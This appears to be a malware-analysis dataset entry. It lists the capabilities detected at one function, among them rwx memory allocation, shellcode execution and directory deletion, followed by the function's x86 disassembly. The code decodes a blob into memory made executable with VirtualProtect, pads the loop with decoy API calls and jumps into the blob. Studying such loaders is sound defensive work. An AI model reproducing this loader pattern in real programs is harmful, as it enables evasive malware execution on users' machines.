Function at 0x4016ca
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c20
call fcn.0040e520
mov ecx, dword [0x881f0c]
push esi
push edi
cmp ecx, 0x93
je 0x40189a
mov eax, dword [0x41eef8]
add ecx, 0x1134b
push ecx
xor esi, esi
mov dword [0x882010], eax
push esi
mov dword [0x881f0c], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x10]
mov dword [0x881e64], eax
push ecx
push 0x40
push dword [0x881f0c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x29156e
push esi
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
dec edi
jne 0x401728
mov ecx, dword [0x881f0c]
mov edi, esi
test ecx, ecx
je 0x4017b4
mov eax, dword [0x882010]
mov cl, byte [eax + edi + 0x1134b]
mov eax, dword [0x881e64]
mov byte [eax + edi], cl
mov ecx, dword [0x881f0c]
cmp ecx, 0x490
jne 0x4017af
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GdiComment]
push esi
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x820]
push eax
push str.Razohuxipu_tugifowad_kesixid
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0x881f0c]
inc edi
cmp edi, ecx
jb 0x40173f
mov edi, esi
lea eax, [ecx + edi]
cmp eax, 0x8d
jne 0x401828
push str.muwevinulil
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x820]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
push esi
lea eax, [ebp - 0x1420]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push esi
lea eax, [ebp - 0x1c20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
lea eax, [ebp - 0x420]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, dword [0x881f0c]
inc edi
cmp edi, 0x38681
jl 0x4017b6
push ecx
call fcn.00401658
mov edi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x401849
call fcn.004016ae
inc edi
cmp edi, 0x674db
jl 0x401839
mov eax, esi
cmp dword [0x881f0c], 0x86
je 0x40187d
inc eax
cmp eax, 0x7b
jl 0x401854
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x881e64]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_ExitThread]
push str.mehevovafepa
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
xor eax, eax
lock bts dword [eax], 0
xor esi, esi
lea eax, [ebp - 0x420]
push esi
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
lea eax, [ebp - 0xc20]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
call fcn.00403da3
pop ecx
push esi
call fcn.00402ac6
lea ecx, [ebp - 0x20]
mov dword [esp], str.bad_exception
call fcn.00401117
lea ecx, [ebp - 0x20]
call fcn.00401133
push esi
call fcn.004041b9
int3